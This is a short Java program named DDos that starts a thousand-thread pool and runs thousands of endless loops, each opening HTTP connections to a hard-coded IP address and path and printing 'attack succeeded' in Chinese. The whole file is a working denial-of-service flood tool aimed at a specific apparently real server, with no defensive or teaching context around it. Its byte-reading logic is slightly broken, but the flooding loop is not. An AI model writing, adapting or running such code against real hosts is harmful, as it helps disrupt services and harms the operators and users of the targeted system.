|
import java.util.*;
import java.util.concurrent.*;
import java.net.*;
import java.io.*;
public class DDos
{
public static void main(String[] args)
{
ExecutorService es =
Executors.newFixedThreadPool(1000);
MyThread myThread = new MyThread();
Thread thread = new Thread(myThread);
for (int i = 0;i < 10000;i++)
{
es.execute(thread);
}
}
}
class MyThread implements Runnable
{
public void run()
{
while (true)
{
try
{
URL url = new URL("http://221.232.148.51/guojibu/"); URLConnection conn = url.openConnection(); System.out.println("攻击成功");
BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null)
{
if ((len = bis.read()) != -1)
{
sb.append(new String(bytes,0,len)); System.out.println("攻击成功");
bis.close();
}
}
}
catch (MalformedURLException e)
{
e.printStackTrace();
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
}
|
|